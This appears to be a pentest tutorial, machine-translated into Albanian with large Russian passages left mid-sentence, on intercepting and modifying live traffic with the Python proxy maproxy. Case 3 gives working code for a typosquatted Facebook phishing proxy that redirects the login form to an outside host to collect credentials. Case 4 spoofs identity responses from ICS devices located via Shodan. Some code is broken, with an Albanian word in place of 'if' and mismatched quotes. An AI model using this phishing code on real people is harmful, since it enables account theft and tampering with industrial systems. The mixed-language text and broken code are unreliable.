Përpunimi i të dhënave rrjetore në kohë reale

Përkthimi i artikullit është përgatitur para fillimit të kursit «Pentest. Praktika e Testimit të Depërtimit».

Përpunimi i të dhënave rrjetore në kohë reale

Shënimi

Lloje të ndryshme të vlerësimit të sigurisë, duke filluar nga testimet e rregullta të depërtimit dhe operacionet Red Team deri te hackimi i pajisjeve IoT/ICS dhe SCADA, përfshijnë punë me protokolle binarë të rrjetit, që në thelb nënkupton përvetësimin dhe modifikimin e të dhënave të rrjetit midis klientit dhe objektit. Sniffing i trafikut të rrjetit nuk është një detyrë e komplikuar, pasi ne kemi mjete të tilla si Wireshark, Tcpdump ose Scapy, megjithatë modifikimi paraqitet si një detyrë më e punësuar, pasi do na nevojitet një lloj interfaci për të lexuar të dhënat e rrjetit, për t'i filtruar, për t'i ndryshuar në kohë reale dhe për t'i dërguar përsëri në hostin e synuar pothuajse në kohë reale. Për më tepër, do të ishte ideal nëse një mundësi e tillë mund të punonte automatikisht me lidhje parake dhe të kishte mundësi personalizimi përmes skenarëve.

Një herë zbulova një mjet që quhet maproxy, dokumentacioni më dha shpejt të kuptoja se maproxy – është pikërisht ajo që më nevojitej. Ky është një TCP-proxy goxha i thjeshtë, universale dhe lehtësisht i konfiguruar. E testova këtë mjet në disa aplikacione mjaft komplekse, duke përfshirë pajisjet ICS (të cilat gjenerojnë shumë paketa), për të zbuluar nëse mund të punonte me shumë lidhje paralele, dhe mjeti u tregua mirë.

Ky artikull do t'ju prezantojë me përpunimin e të dhënave të rrjetit në kohë reale me ndihmën e maproxy.

Përmbledhje

Mjeti maproxy që bazohet në Tornado – një framework të njohur dhe të zhvilluar për rrjetin asinkron në Python.

Në përgjithësi, ai mund të punojë në disa moda:

  • TCP:TCP – lidhje TCP të paqifruara;
  • TCP:SSL dhe SSL:TCP – me enkriptim njëdrejtimësh;
  • SSL:SSL – enkriptim dydrejtimësh.

Ai ofrohet si një bibliotekë. Për një fillim të shpejtë, mund të përdorni skedarët e shembujve që pasqyrojnë funksionet kryesore të bibliotekës:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Rasti 1 – një proxy dy drejtimësh i thjeshtë

Duke u bazuar në tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Më në default ProxyServer() pranon dy argumente – vendin e lidhjes dhe portin e synuar. server.listen() pranon një argument – portin për të dëgjuar lidhjet hyrëse.

Ekzekutimi i skenarit:

# python tcp2tcp.py

Për të bërë një test, ne do të lidhemi me serverin tonë lokal SSH përmes skenarit tonë proxy që dëgjon në 2222/tcp порт и подключается к стандартному порту 22/tcp SSH-сервера:

Përpunimi i të dhënave rrjetore në kohë reale

Приветственный баннер сообщает, что наш пример скрипта успешно проксировал сетевой трафик.

Кейс 2 – модификация данных

Другой демо-скрипт logging_proxy.py идеально подходит для взаимодействия с сетевыми данными. Комментарии в файле описывают методы класса, которые вы можете модифицировать для достижения своей цели:

Përpunimi i të dhënave rrjetore në kohë reale

Самое интересное здесь:

  • on_c2p_done_read – для перехвата данных по пути от клиента к серверу;
  • on_p2s_done_read – в обратную сторону.

Давайте попробуем изменить SSH-баннер, который сервер возвращает клиенту:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Выполните скрипт:

Përpunimi i të dhënave rrjetore në kohë reale

Как видите, клиент был введен в заблуждение, поскольку для него имя SSH-сервера было подменено на «DumnySSH».

Përpunimi i të dhënave rrjetore në kohë reale

Кейс 3 – простая фишинговая веб-страница

Существует бесконечное количество вариантов использования этого инструмента. На этот раз давайте сосредоточимся на чем-то более практичном из области операций Red Team. Давайте будем подражать лендингу m.facebook.com и воспользуемся кастомным доменом с умышленной опечаткой, например, m.facebok.com. В целях демонстрации просто предположим, что домен зарегистрирован нами.

Мы собираемся установить незашифрованное сетевое соединение с нашим прокси жертв и SSL Stream для сервера Facebook (31.13.81.36). Чтобы этот пример заработал, нам нужно заменить заголовок HTTP-хоста и внедрить корректное имя хоста, а еще мы отключим сжатие ответов, чтобы получить легкий доступ к их содержимому. В конечном итоге мы заменим HTML-форму, чтобы учетные данные для входа отправлялись нам, вместо серверов Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Në fund:

Përpunimi i të dhënave rrjetore në kohë reale

Как видите, мы успешно смогли подменить оригинальный сайт.

Кейс 4 – Портим Ethernet/IP

Kam për një kohë të gjatë kam punuar me pajisje dhe software industriale (ICS / SCADA), siç janë kontrollorët e programueshëm (PLC), modulet e hyrjes dhe daljes, motorët, releet, ambientet e programimit me shkallë dhe shumë më tepër. Ky rast është për ata që i pëlqejnë gjërat industriale. Haking-u i këtyre zgjidhjeve përfshin një lojë aktive me protokollet e rrjetit. Në shembullin e mëposhtëm, do të doja të tregoj se si mund të modifikoni trafikun e rrjetit ICS / SCADA.

Për këtë do t'ju nevojitet e seura:

  • Një sniffer rrjeti, për shembull, Wireshark;
  • Ethernet / IP ose thjesht një pajisje SIP, mund ta gjeni atë përmes shërbimit Shodan;
  • Scripti ynë i bazuar në maproxy.

Së pari, le të shohim si duket një përgjigje identifikimi tipike nga CIP (Common Industrial Protocol):

Përpunimi i të dhënave rrjetore në kohë reale

Identifikimi i pajisjes bëhet përmes protokollit Ethernet / IP, i cili është një version i zgjeruar i protokollit Ethernet për qëllime industriale, ai mbështjell protokollet e kontrollit, si CIP. Ne do të ndryshojmë emrin e identifikimit të veçantë, i cili është i dukshëm në shkëmbimin e informacionit «NI-IndComm for Ethernet» përdorimin e scriptit tonë proxy. Mund të ri-përdorim scriptin logging_proxy.py dhe njësoj të modifikojmë metodën e klasës on_p2s_done_read, pasi dëshirojmë që në klient të duket një emër tjetër identifikimi.

Kodi:

[...]
 def on_p2s_done_read(self,data):
 # zëvendësimi pjesor i përgjigjes

 # Kontrollimi nëse morëm përgjigjen e mesazhit List Identity
     nëse data[26:28] == b'x0cx00':
         print('Mori përgjigjen, duke zëvendësuar')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[...] 
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[...]

Në thelb, ne kërkuam identifikimin e pajisjes dy herë, përgjigjja e dytë është origjinale, ndërsa e para ishte modifikuar në fluks.

Dhe e fundit

Sipas mendimit tim maproxy është një mjet i përshtatshëm dhe i thjeshtë, i cili për më tepër është shkruar në Python, prandaj mendoj se edhe ju mund të përfitoni nga përdorimi i tij. Sigurisht, ka edhe mjete më të komplikuara për trajtimin dhe ndryshimin e të dhënave të rrjetit, por ato gjithashtu kërkojnë më shumë vëmendje dhe zakonisht krijohen për një skenar të veçantë përdorimi, për shembull, Muraena, Modlishka ose evilginx për raste si rasti i tretë, ose canape për rastin e fundit. Kështu ose ndryshe, me ndihmën e maproxy do të jeni në gjendje të realizoni shpejt idetë tuaja për kapjen e të dhënave të rrjetit, pasi shembujt e scriptit janë shumë të qartë.

Testimi i mekanizmave të autentifikimit në Windows AD

Burimi: habr.com

Blini hosting të besueshëm për faqe interneti me mbrojtje nga DDoS, serverë VPS VDS 🔥 Blini hosting të besueshëm për faqe interneti me mbrojtje nga DDoS, serverë VPS VDS | ProHoster